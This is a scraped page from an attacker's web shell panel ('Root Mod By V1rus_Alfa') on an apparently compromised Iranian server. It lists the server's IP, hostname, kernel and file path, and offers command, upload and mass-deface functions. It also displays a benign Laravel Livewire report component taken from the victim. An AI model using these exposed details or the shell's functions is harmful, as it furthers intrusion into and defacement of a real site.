���Root Mod By V1rus_Alfa
User / IP
:
216.73.216.158
Host / Server
:
195.214.235.115 / npln.ir
System
:
Linux damavand.pws-dns.net 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home2
/
cutunixc
/
repositories
/
npln
/
app
/
Livewire
/
Admin
/
Pages
/
Reports
/
Designer
/
Viewing: Process.php
<?php namespace App\Livewire\Admin\Pages\Reports\Designer; use Livewire\Component; use App\Models\Order; use App\Models\OrderLog; class Process extends Component { public $title; public $employe_id; public $category_id; public $all_status=[]; public $order_ids=[]; public $logs=[]; public $start; public $end; public $sum=0; public $count=0; public function process_loop($type=null) { $this->logs=$this->logs->where('text',$this->title); foreach ($this->logs as $value) { array_push($this->order_ids,$value->order_id); } } public function mount($type=null) { if($this->start && $this->end && $this->title){ $this->logs=OrderLog::whereBetween('created_at', [$this->start." 00:00:00",$this->end." 23:59:59"])->where('type','services')->latest()->get()->unique('order_id'); $this->process_loop($type); if(!$type){ $orders=Order:: whereIn('id',$this->order_ids) ->where('category_id',$this->category_id)->where('employe_id',$this->employe_id); }else if($type == 'sum') { $orders=Order:: whereIn('id',$this->order_ids) ->where('employe_id',$this->employe_id); }else if($type == 'sum_row_all') { $orders=Order:: whereIn('id',$this->order_ids) ->whereNotNull('employe_id') ->where('category_id',$this->category_id); } $this->sum=$orders->sum('price'); $this->count=$orders->count(); } } public function render() { return view('livewire.admin.pages.reports.designer.process'); } }
Coded With 💗 by
0x6ick Mod By V1rus_Alfa